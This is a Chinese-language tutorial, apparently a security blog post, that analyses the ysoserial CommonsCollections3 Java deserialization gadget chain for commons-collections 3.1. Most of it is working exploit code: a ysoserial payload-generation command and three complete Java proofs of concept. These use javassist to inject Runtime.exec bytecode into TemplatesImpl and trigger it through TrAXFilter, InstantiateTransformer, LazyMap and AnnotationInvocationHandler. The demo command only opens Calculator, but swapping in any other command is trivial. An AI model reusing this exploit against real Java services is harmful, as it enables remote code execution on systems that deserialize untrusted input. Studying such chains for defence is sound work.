1.CommonsCollections3利用链测试
这个利用链作者说:Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.。即该利用链就是在CC1
的基础上用InstantiateTransformer
替换了InvokerTransformer
。当然这里面也同时用到了CC2
里面的TemplatesImpl
。环境依赖于commons-collections:3.1
。mvn如下:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
1.生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC3Test.bin
2.使用如下代码对序列化数据进行反序列化
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; public class CC3Test { public static void main(String[] args) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC3Test.bin")); objectInputStream.readObject(); } }
命令正常执行,计算器程序被运行。
2.CommonsCollections3利用链分析
这个利用链结合了CC1
和CC2
当中的一些类。主要用到的类如下:
- TemplatesImpl:我们知道通过构造一个恶意的TemplatesImpl实例,我们可以在
TemplatesImpl.newTransformer()
方法执行时,执行任意命令。 - ChainedTransformer:包含一个transformer数组,执行
transform()
方法时,前一个transformer.transform()
的输出作为后一个transformer.transform()
的输入。 - ConstantTransformer:transform()方法返回一个固定类
- lazyMap:get方法被调用时若key不存在会执行绑定的transformer的transform()方法
- AnnotationInvocationHandler:动态代理方法中,以该类作为handler代理某个类,通过该代理类运行被代理类的任意方法时都会先运行
AnnotationInvocationHandler.invoke()
方法 - com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter:新来的没见过等会看看是啥
- org.apache.commons.collections.functors.InstantiateTransformer:新来的没见过等会看看是啥
除了最后两个类其他的类我们都已经学过,因此只需分析最后两个用到的类。
2.1 TrAXFilter
先看一下这个类的构造函数:
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
可以看到这里传入一个Templates
,然后会直接调用传入的Templates.newTransformer()
方法,那么我们参考CC2中的方法直接构造一个恶意的TransformerImpl
实例作为输入参数,显然就可以执行任意命令。使用如下代码进行测试:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Field; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.*; import javax.xml.transform.TransformerConfigurationException; public class CC3Test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); TemplatesImpl template = new TemplatesImpl(); //生成一段恶意的_bytecodes ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码 final byte[] classBytes = clazz.toBytecode(); //设置templates的_bytecodes Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(template, new byte[][]{classBytes}); //设置templates的_name Field filedName = template.getClass().getDeclaredField("_name"); filedName.setAccessible(true); filedName.set(template,"jus4fun"); //设置templates的_tfactory参数 Field filedtfactory = template.getClass().getDeclaredField("_tfactory"); filedtfactory.setAccessible(true); filedtfactory.set(template,transFactory.newInstance()); new TrAXFilter(template);//_transformer = (TransformerImpl) templates.newTransformer();会触发命令执行 } }
运行代码,命令被执行,计算器程序正常弹出。
2.2 InstantiateTransformer
从名字可以看出来,这个类叫实例化转换器,那么显然他会对某个类进行实例化。先看一下这个类的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; }
传入两个参数,一个是类的构造函数参数类型,还有一个是具体的参数。再看看它的transform
方法,代码如下:
public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); ....省略.... }
可以看到,这个transform方法获取input对象的class,然后查找它对应参数类型的构造函数,然后调用它的构造函数。那么很显然这里如果我们传入的input
参数是一个TrAXFilter
类,然后传入一个恶意的template。那么构造函数一旦调用显然就会执行我们的恶意命令。我们使用如下代码进行测试:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Field; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.*; import org.apache.commons.collections.functors.InstantiateTransformer; import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; public class CC3Test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); TemplatesImpl template = new TemplatesImpl(); //生成一段恶意的_bytecodes ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码 final byte[] classBytes = clazz.toBytecode(); //设置templates的_bytecodes Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(template, new byte[][]{classBytes}); //设置templates的_name Field filedName = template.getClass().getDeclaredField("_name"); filedName.setAccessible(true); filedName.set(template,"jus4fun"); //设置templates的_tfactory参数 Field filedtfactory = template.getClass().getDeclaredField("_tfactory"); filedtfactory.setAccessible(true); filedtfactory.set(template,transFactory.newInstance()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{template}); instantiateTransformer.transform(TrAXFilter.class); } }
运行代码,命令被执行,计算器程序正常弹出。
2.3 完整利用链
其他的利用点就跟CC1
中基本没有什么区别了,完整的调用链如下:
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() Constructor.newInstance() TrAXFilter.TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() StubTransletPayload.init() Runtime.getRuntime().exec()
最终的CC3代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; public class CC3Test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException, InvocationTargetException, NoSuchMethodException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); TemplatesImpl template = new TemplatesImpl(); //生成一段恶意的_bytecodes ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码 final byte[] classBytes = clazz.toBytecode(); //设置templates的_bytecodes Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(template, new byte[][]{classBytes}); //设置templates的_name Field filedName = template.getClass().getDeclaredField("_name"); filedName.setAccessible(true); filedName.set(template,"jus4fun"); //设置templates的_tfactory参数 Field filedtfactory = template.getClass().getDeclaredField("_tfactory"); filedtfactory.setAccessible(true); filedtfactory.set(template,transFactory.newInstance()); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { template } )}; final Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //使用反射获取AnnotationInvocationHandler实例 String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; Class cls = Class.forName(ANN_INV_HANDLER_CLASS); Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map ProxyedMap = (Map) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler); InvocationHandler CC1Obj = (InvocationHandler)constructor.newInstance(Override.class, ProxyedMap); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(CC1Obj); //反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = (Object)objectInputStream.readObject(); } }